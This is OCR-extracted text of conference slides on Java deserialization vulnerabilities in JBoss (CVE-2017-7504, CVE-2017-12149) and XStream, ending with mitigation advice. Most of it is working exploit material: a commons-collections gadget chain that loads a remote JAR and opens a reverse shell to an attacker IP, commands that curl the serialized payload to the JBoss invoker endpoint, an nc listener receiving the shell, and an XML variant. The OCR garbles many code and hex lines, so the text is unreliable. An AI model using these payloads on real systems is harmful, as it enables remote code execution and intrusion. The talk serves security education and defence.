ObjectOutputStream oos = new ObjectOutputStream(fos);

oos.writeObject (handlerProxy); < Serialization

oos.flush();
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Terminal
shn:JavaDeserH2HC joaomatosf$ hexdump -C ExampleCommonsCollectionsl.ser
J0000000 ac ed 00 B5 73 72 00 32 73 75 6e 2e 72 65 66 6¢c |....sr.2sun.refl|

00000010 65 63 74 2e 61 6be 6e 6f 74 61 74 69 6T 6e 2e 41 |ect.annotation.A|
00000020 6e 6e 6T 74 61 74 69 6T 6e 49 6e 76 6f 63 61 74 |nnotationInvocat|
00000030 69 6T 6be 48 61 6e 64 6¢c 65 72 55 ca f6 @f 15 cb |ionHandlerU..... |
100000040 7e ab B2 00 02 4c 00 Oc 6d 65 6d 62 65 72 56 61 |~....L..memberVa|
1 000050 6Cc 75 65 73 74 00 Of 4c 6ba 61 76 61 2f 75 74 69 |luest..Ljava/uti]|
1 00000060 6¢c 2T 4d 61 70 3b 4c 00 04 74 79 70 65 74 00 11 |1/Map;L..typet..|
00000070 4c 6a 61 76 61 2f 6¢c 61 6e 67 2f 43 6c 61 73 73 |Ljava/lang/Class]|
. 00000080 3b 78 70 73 7d 00 00 00 01 00 Od 6a 61 76 61 2e |;xps}...... java.|

1 0000090 75 74 69 6¢C 2e 4d 61 70 78 72 00 17 6ba 61 76 61 |util.Mapxr..java|
1 000000a0d 2e 6Cc 61 be 67 2e 72 65 66 6¢ 65 63 74 2e 50 72 |.lang.reflect.Pr|
1 00000ObO 6T 78 79 el 27 da 20 cc 10 43 cb 92 00 01 4c 00 |oxy.'. ..C....L.|
1 000000CO 01 68 74 00 25 4c 6a 61 76 61 2f 6¢c 61 6e 67 2f |.ht.%Ljava/lang/|
000000d0 72 65 66 6c 65 63 74 2f 49 6e 76 6f 63 61 74 69 |reflect/Invocati|
000000e@ 6T 6e 48 61 6e 64 6c 65 72 3b 78 70 73 71 00 7e |onHandler;xpsq.~|
000000fO 00 00 73 72 00 2a 6f 72 67 2e 61 70 61 63 68 65 |..sr.xorg.apache|
' 100000100 2e 63 6f 6d 6d 6f 6e 73 2e 63 6f 6¢c 6¢ 65 63 74 | .commons.collect]|
' 100000110 69 6f 6e 73 2e 6d 61 70 2e 4c 61 7a 79 4d 61 70 |ions.map.LazyMap|
/ 100000120 6e e5 94 82 9e 79 10 94 ©3 00 01 4c 00 07 66 61 |N....y..... L..fa|
100000130 63 74 6f 72 79 74 00 2c 4c 6f 72 67 2f 61 70 61 |ctoryt.,Lorg/apa]
100000140 63 68 65 2f 63 6f 6d 6d 6f 6e 73 2f 63 6f 6¢c 6¢c |che/commons/coll]|
00000150 65 63 74 69 6f 6e 73 2f 54 72 61 6e 73 66 6f 72 |ections/Transfor|
00000160 6d 65 72 3b 78 70 73 72 00 3a 6f 72 67 2e 61 70 |mer;xpsr.:org.ap|
1 00000170 61 63 68 65 2e 63 6f 6d 6d 6f 6e 73 2e 63 6f 6¢c |ache.commons.col| .
00000180 6¢c 65 63 74 69 6T be 73 2e 66 75 6e 63 74 6f 72 |lections.functor] ,
100000190 73 2e 43 68 61 69 6e 65 64 54 72 61 6e 73 66 6f | s.ChainedTransfr

,  000001a@ 72 6d 65 72 30 c7 97 ec 28 7a 97 04 02 00 01 5b |rmer@...(z....
1 0000n1ha 00 Od AQ R4 72 A1 A 72 AhA @

In JVM >= 8u72 you need to use another trigger gadget like
HashSet + TiedMapEntry as proposed by Matthias Kaiser

4 g
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KEEP

CALM
AND

LET'S

https://youtu.be/jVMr4eedJ2Po

CVE-2017-7504

JBossMQ JMS Invocation Layer

https:/laccess.redhat.com/security/cvelcve-2017-7504
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=

7 ////// /// 2 T

’
£

1. see complete examples and Lab in:
e https://github.com/joaomatosf/JavaDeserH2HC

* You can also automatically generate payloads or check
vulnerabilities with:
 ysoserial: https://github.com/frohoff/ysoserial
« JexBoss: https://github.com/joaomatosf/jexboss

SN
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Makes
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CVE-2017-12149

JBoss <= 6.X and JBoss EAP <= 5.X




6. CVE-2017-12149 (JBoss <= 6.X)

Notified to RedHat on 2017-08-10 to be used here
Affects JBoss AS <= 6.X and EAP <= 5.X

Insecure deserialization at ReadOnlyAccessFilter

Proposed for secure access to JNDI service (readonly)

public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException

ServletInputStream sis = request.getInputStream(); // Reads POST data
ObjectInputStream ois = new ObjectInputStream(sis);// Initialize ObjectInputStream
MarshalledInvocation mi = null;
try { {&

mi = (MarshalledInvocation) ois.readObject(); //[EJ] Invoke deserialization!

ReadOnlyAccessFilter.java



6. CVE-2017-12149 (JBoss <= 6.X)

Notified to RedHat on 2017-08-10 to be used here
Affects JBoss AS <= 6.X and EAP <= 5.X

Insecure deserialization at ReadOnlyAccessFilter

Proposed for secure access to JNDI service (readonly)

<servlet-mapping>
<servlet-name>ReadOnlyAccessFilter</servlet-name>
<url-pattern>/readonly/x</url-pattern>

</servlet-mapping> \;::\\\\\\\\\\

A http://server:port/invoker/readonly
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Ised here
Affec
Inse sFilter
P idonly)
<servlet-m:
<servle 2t-name>

<url-p: CONDITION I

</servliet-happiny- \\

A http://server:port/invoker/readonly




6. CVE-2017-12149 (JBoss <= 6.X)

Creating a new gadget chain for reverse shell

multiplatform (reusing commons-collections gadgets)

This will give you an reverse shell in Windows,
Linux, BSD, IBM OS, etc...

URLClassLoader.class
.getConstructor(new Class[]1{URL[].class})
.newInstance(new Object[]{

new URL[]{new URL("http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}})
. loadClass("JexReverse")

.getConstructor(new Class[]{String.class, int.class})

.newInstance(new Object[]{"YOUR_IP",1331});

Let’s convert to Transform format :
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URLClassLoader.class
.getConstructor(new Class[1{URL[].class})
.newInstance(new Object[]{

new URL[]{new URL("http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}})
. loadClass("JexReverse")
.getConstructor(new Class[]{String.class, int.class})
.newInstance(new Object[]{"YOUR_IP",1331});

Transformer[] transformers = new Transformer[] {

new QpnstantTransformer(URgClassLoader.class), I

5 - B
EEERY S LAY
N B
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URLClassLoader.class
.getConstructor(new Class[]{URL[].class})
.newInstance(new Object[]{
new URL[]{new URL("http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}}
L toadClass( Jexreverse )
.getConstructor(new Class[]{String.class, int.class})
.newInstance(new Object[]{"YOUR_IP",1331});

Transformer[] transformers = new Transformer[] {

new ConstantTransformergURLClassLoader.class).

new InstantiateTransformer(
new Class[]{
URL[].class
},

new Object[]{
new URL[]{new URL(
"http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}

mt-g‘ u! o
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URLClassLoader.class
.getConstructor(new Class[1{URL[].class})
.newInstance(new Object[]{
new URL[]{new URL("http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}})

. loadClass (" JexReverse") ?
.getConstructor(new Class[]{String.class, int.class})

.newInstance(new Object[]1{"YOUR_IP",1331});

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer (
new Class[]1{
URL[].class
o

new Object[]{
new URL[]{new URL(
"http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}
1) A
new InvokerTransformer("loadClass", s
new Class[]{ K
String.class R
}

new Obj eCt [] { -----------------
"JEXREVErSe" ....comrrrrerrssssssansss

1),
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URLClassLoader.class
.getConstructor(new Class[]1{URL[].class})
.newInstance(new Object[]{
new URL[]{new URL("http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}})
. loadClass ("JexReverse") _
.getConstructor(new Class[]{String.class, 1int.class})

.newInstance(new Object[]1{"YOUR_IP",1331});

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer (
new Class[1{
URL[].class
o

new Object[]{
new URL[]{new URL(
"http://www. joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}

}),
new InvokerTransformer("loadClass",
new Class[]{

, String.class IP address and port of your test box

new Object[]{
"JexReverse"
}),

new InstantiateTransformer(

new Class[]{ String.class, int.class }, -0x
new Object[]{ "YOUR_IP", 1331 } )

R R EEEDEEEEEBBBmmmmmmm..,
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Transformer[] transformers = new Transformer[] {

new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
o

new Object[]{
new URL[]{new URL(
"http://www. joaomatosf.com/rnp/java_files/JexRemoteTools.jar")}

}),
new InvokerTransformer("loadClass",
new Class[]{
String.class

H

new Object[]{
"JexReverse"

),

new InstantiateTransformer(
new Class[]{ String.class, int.class },
new Object[]{ "YOUR_IP", 1331 }

See the full example in file “ReverseShellCommonsCollectionsHashMap.java” L
at https://github.com/joaomatosf/JavaDeserH2HC )




6. CVE-2017-12149 (JBoss <= 6.X)

4 John:JavaDeserH2HC joaomatosf$ javac -cp .:commons—collections-3.2.1.jar ReverseShellCommon|
sCollectionsHashMap.java b
John:JavaDeserH2HC joaomatosf$ java -cp .:commons-collections-3.2.1.jar ReverseShellCommons|
“{CollectionsHashMap 165.227.185.195:80
_MNiSaving serialized object in ReverseShellCommonsCollectionsHashMap.ser
—(John:JavaDeserH2HC joaomatosf$ curl 192.168.0.40:8080/invoker/readonly —--data-binary @Reverr—
‘gl seShellCommonsCollectionsHashMap.ser
‘|<html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><styl
oma,Arial,sans-serif;color:white;background-color:#525D76; font-size:22
Tahoma,Arial,sans-serif;color:white;background-color:#525D76; font-size:1
ly:Tahoma,Arial,sans-serif;color:white;background-color:#525D76; font-size:1

(o @ root@lab01:~

[root@®lab®l ~]1# hostname -I

165.227.185.195 10.17.0.5

[root@lab@®l ~1# nc -1 -vv —p 80

Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::80

Ncat: Listening on ©0.0.0.0:80

Ncat: Connection from 177.82.158.95.

Ncat: Connection from 177.82.158.95:50656.
Microsoft Windows [vers?o 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Todos os direitos reservados.

——-H1 {font-family:Tah
} H2 {font-family:
:} H3 {font-fami
; } BODY {font

o5y 7
i <
e},z;;

C:\Users\joao\Desktop\jboss-6.1.0.Final\bin>whoami
whoami
joao-pc\joao

le JVM versions until now

L

S -0X
@ This variant will w

oANr €t (MBS AR AN

ork in all Orac




6. CVE-2017-12149 (JBoss <= 6.X)

https://lyoutu.be/JIWMItSAS8IQ

CVE-2017-12149

JBoss <= 6.X and JBoss EAP <= 5.X

https://laccess.redhat.com/security/cvel/cve-2017-12149




6. XML for Reverse Shell Multiplatform

This same gadget chain can be used
against XML deserialization via XStream!

vy<set>
v<org.apache.commons.collections.keyvalue.TiedMapEntry>
v<map class="org.apache.commons.collections.map.LazyMap" serialization="custom"
<unserializable-parents/>
v<org.apache.commons.collections.map.LazyMap>
v<default>
v<factory class="org.apache.commons.collections.functors.ChainedTransformer">
v<iTransformers>
v<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
v<org.apache.commons.collections.functors.InstantiateTransformer>
v<iParamTypes>
<java-class>[Ljava.net.URL;</java-class>
</iParamTypes>
v<iArgs>
v<url-array>
v<url>
http://www.joaomatosf.com/rnp/java files/JexRemoteTools.jar
</url>
</url-array>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
v<org.apache.commons.collections.functors.InvokerTransformer>

Mot oo dil . | a0 LaodMoi bodil

See the full example in file “reverseShellMultiplatformCommonsCollections.xml” at =0 X
https://qithub.com/joaomatosf/JavaDeserH2HC )_




6. Demo Struts2-REST

https://lyoutu.be/lrZOlgioOnw

Struts2-REST via XStream

XML Deserialization (showcase v2.3.28.1)
s
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/. Mitigation Advices

It is not easy (remember the wide surface of attack)

Use Look-ahead with strict whitelist

Valid only for your code (not for libs/frameworks/platforms)

Java agent to enforce look-ahead with strict whitelist

Can e applied for all JVM code
If possible, don't trust in HashMap, HashSet, URL, etc

JEP 290! (6ul41, 7ul31, 8ul2l and 9)

See Google Gson lib



/. Mitigation Advices
=\
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Make the appropriate hardening! ==

g g

Eg. grsec, selinux

Limit the INPUT in local firewall

To avoid/limit lateral movement

Limit OUTPUT of the servers (whitelist)

To limit exploitation by reverse shell or download of

malwares

If possible, don’t use DNS resolution

To avoid exfiltration over DNS protocol



/. Mitigation Advices

Some things that do NOT work alone...
Only patching gadgets (eg. CommonsCollections)
Only patching your code
Look-ahead approach with blacklisting
AdHoc Security Manager
WAF / Reverse Proxy
RBAC (eg. SELinux, etc)

Firewall

Next Generation xpto (hahaha)
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Have a really good team and Invest in

research!

“Rather than spending tons and tons of money on
technology, put a little bit of money on talent and
have them do nothing but patching.”

(Heather Adkins, Google Security)
Source: TechCrunch Disrupt SF 2017

Do what you can before the wave arrives...



An overview of Deserialization
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Machine (JVM)

Thank youl!

“Truth is ever to be found in simplicity,
and not in the multiplicity and confusion of things.”
(lsaac Newton)

| , Joao Filho Matos Figueiredo
(BQ 4 HEH joaomatosf@gmail.com

HACKERS TO HACKERS CONFERENCE @joaomatosf

OBS: all 60 references are in the full paper

github.com/joaomatosf



